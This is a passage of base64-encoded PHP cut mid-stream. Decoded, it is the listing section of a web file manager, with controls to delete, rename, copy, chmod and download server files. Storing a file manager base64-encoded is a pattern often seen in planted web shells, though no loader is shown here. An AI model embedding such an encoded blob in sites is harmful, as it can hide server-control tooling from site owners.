TsKICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTsKICAgICAgICAgICAgICAgICRkYXRlX3NvcnRpbmcgPSBzdHJ0b3RpbWUoZGF0ZSgiRiBkIFkgSDppOnMuIiwgJG1vZGlmX3JhdykpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplX3JhdyA9ICIiOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gbG5nKCdGb2xkZXInKTsKICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOwogICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IAogICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2luZm8pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaW5mbyA9IHBvc2l4X2dldGdyZ2lkKCRncm91cF9pZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZygiZXhjZXB0aW9uOiIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpaSA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlpID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlbmFtZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSI8P3BocCBlY2hvICRpbWcgPz4iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJy8nIC4gJGYpIC4gJzwvaT4nIDogJycpID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCAiMCIsIFNUUl9QQURfTEVGVCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYS08P3BocCBlY2hvICRkYXRlX3NvcnRpbmc7ID8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT0iQ2hhbmdlIFBlcm1pc3Npb25zIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y2htb2Q9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+Ij48P3BocCBlY2hvICRwZXJtcyA/PjwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJG93bmVyWyduYW1lJ10gLiAnOicgLiAkZ3JvdXBbJ25hbWUnXSA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EaWFsb2coZXZlbnQsICcxMDI4JywnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGb2xkZXInKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4nLCB0aGlzLmhyZWYpOyI+IDxpIGNsYXNzPSJmYSBmYS10cmFzaC1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJykgPz4iIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcyhGTV9QQVRIKSkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcygkZikpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpID8+Li4uIiBocmVmPSI/cD0mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgJGlpKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGlrID0gODAwMjsKICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkaW1nID0gJGlzX2xpbmsgPyAnZmEgZmEtZmlsZS10ZXh0LW8nIDogZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7CiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGZtX2dldF9maWxlc2l6ZSgkZmlsZXNpemVfcmF3KTsKICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTsKICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3OwogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZikpLCAtNCk7CiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgCiAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2lkID0gZmlsZW93bmVyKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pbmZvID0gcG9zaXhfZ2V0cHd1aWQoJG93bmVyX2lkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSAgJGdyb3VwX2luZm87CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JfbG9nKCJleGNlcHRpb246IiAuICRlLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9Ijw/cGhwIGVjaG8gJGlrID8+IiBuYW1lPSJmaWxlW10iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWsgPz4iPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PTw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCAkaW1hZ2VQcmV2aWV3ID0gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiBkYXRhLXByZXZpZXctaW1hZ2U9Ijw/cGhwIGVjaG8gJGltYWdlUHJldmlldyA/PiIgdGl0bGU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD9waHAgZWNobyAkZmlsZWxpbmsgPz4iIHRpdGxlPSI8P3BocCBlY2hvICRmID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSI8P3BocCBlY2hvICRpbWcgPz4iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJy8nIC4gJGYpIC4gJzwvaT4nIDogJycpID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCAiMCIsIFNUUl9QQURfTEVGVCk7ID8+Ij48c3BhbiB0aXRsZT0iPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvICRkYXRlX3NvcnRpbmc7ID8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9Ijw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjaG1vZD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iPjw/cGhwIGVjaG8gJHBlcm1zID8+PC9hPjw/cGhwIGVsc2U6ID8+PD9waHAgZWNobyAkcGVybXMgPz48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gZm1fZW5jKCRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10pID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURpYWxvZyhldmVudCwgMTIwOSwgJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRmlsZScpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+IDxpIGNsYXNzPSJmYSBmYS10cmFzaC1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZW5hbWUnKSA/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKSA/Pi4uLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz4iIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWxpbmsiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURpYWxvZyhldmVudCwgMTIxMSwgJzw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRpaysrOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoZW1wdHkoJGZvbGRlcnMpICYmIGVtcHR5KCRmaWxlcykpIHsgPz4KICAgICAgICAgICAgICAgIDx0Zm9vdD4KICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49Ijw/cGhwIGVjaG8gKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpID8gJzYnIDogJzQnID8+Ij48ZW0+PD9waHAgZWNobyBsbmcoJ0ZvbGRlciBpcyBlbXB0eScpID8+PC9lbT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3Rmb290PgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9IGVsc2UgeyA/PgogICAgICAgICAgICAgICAgPHRmb290PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJncmF5IGZzLTciIGNvbHNwYW49Ijw/cGhwIGVjaG8gKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpID8gKEZNX1JFQURPTkxZID8gJzYnIDogJzcnKSA6IChGTV9SRUFET05MWSA/ICc0JyA6ICc1JykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicgLiBmbV9nZXRfZmlsZXNpemUoJGFsbF9maWxlc19zaXplKSAuICc8L3NwYW4+JyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZpbGUnKSAuICc6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+JyAuICRudW1fZmlsZXMgLiAnPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKSAuICc6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+JyAuICRudW1fZm9sZGVycyAuICc8L3NwYW4+JyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3Rmb290PgogICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgPC90YWJsZT4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tOSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAgZmxleC13cmFwIiBkYXRhLXRvZ2dsZT0iYnV0dG9ucyIgcm9sZT0idG9vbGJhciI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIy9zZWxlY3QtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJzZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMvdW5zZWxlY3QtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJ1bnNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtd2luZG93LWNsb3NlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjL2ludmVydC1hbGwiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiIG9uY2xpY2s9ImludmVydF9hbGwoKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtdGgtbGlzdCI+PC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPC9hPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9ImRlbGV0ZSIgaWQ9ImEtZGVsZXRlIiB2YWx1ZT0iRGVsZXRlIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nKTsgPz4nKSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS1kZWxldGUnKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PiA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iemlwIiBpZD0iYS16aXAiIHZhbHVlPSJ6aXAiIG9uY2xpY2s9InJldHVybiBjb25maXJ